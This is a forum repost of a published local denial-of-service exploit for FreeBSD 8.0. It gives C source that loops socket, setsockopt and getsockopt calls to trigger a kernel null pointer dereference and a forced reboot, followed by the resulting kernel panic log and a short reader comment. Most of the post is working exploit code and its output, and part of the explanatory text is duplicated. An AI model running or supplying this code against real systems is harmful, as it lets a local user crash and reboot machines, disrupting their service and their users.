Jump to content
Nytro

FreeBSD 8.0 Local Denial of Service (forced reboot)

Recommended Posts

FreeBSD 8.0 Local Denial of Service (forced reboot)

# Exploit Title: FreeBSD local denial of service - forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE

This source code when compiled and executed
will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.

#include <sys/types.h>
#include <sys/mman.h>
#define PAGE_SIZE 4096
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
main() {
int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
char buf[4096];

for (i2=0;i2<256;i2++) {
for (i3=0;i3<2;i3++) {
for (i4=0;i4<2;i4++) {
fd = socket(i2, i3, i4);
if (fd < 0) continue;
printf("SUCCESS!\n");
for (i5=0;i5<100;i5++) {
for (i6=0;i6<100;i6++) {
setsockopt(fd, i5, i6, buf, 4);
getsockopt(fd, i5, i6, buf, &i7);
}}}}}
}

The crash dump looks like the following.

Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
Jan 28 11:33:07 r00tme kernel: fault virtual address = 0xc
Jan 28 11:33:07 r00tme kernel: fault code = supervisor
write, page not present
Jan 28 11:33:07 r00tme kernel: instruction pointer = 0x20:0xc06143ba
Jan 28 11:33:07 r00tme kernel: stack pointer = 0x28:0xcd1fa5b4
Jan 28 11:33:07 r00tme kernel: frame pointer = 0x28:0xcd1fa85c
Jan 28 11:33:07 r00tme kernel: code segment = base 0x0,
limit 0xfffff, type 0x1b
Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
resume, IOPL = 0
Jan 28 11:33:07 r00tme kernel: current process = 1004 (bsdcrash)
Jan 28 11:33:07 r00tme kernel: trap number = 12
Jan 28 11:33:07 r00tme kernel: panic: page fault
Jan 28 11:33:07 r00tme kernel: cpuid = 0
Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press
a key on the console to abort
Jan 28 11:33:07 r00tme kernel: Rebooting...

The cause of the crash seems to be a specific network driver. Since
the crash is forced (only?) in a VMWare virtual machine the
exploitability can be dependent on the loaded device drivers
and installed hardware.

This source code when compiled and executed

will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.

The cause of the crash seems to be a specific network driver. Since

the crash is forced (only?) in a VMWare virtual machine the

exploitability can be dependent on the loaded device drivers

and installed hardware.

Sursa: FreeBSD 8.0 Local Denial of Service (forced reboot)

Interesant, ma intreb daca e si functional. :)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...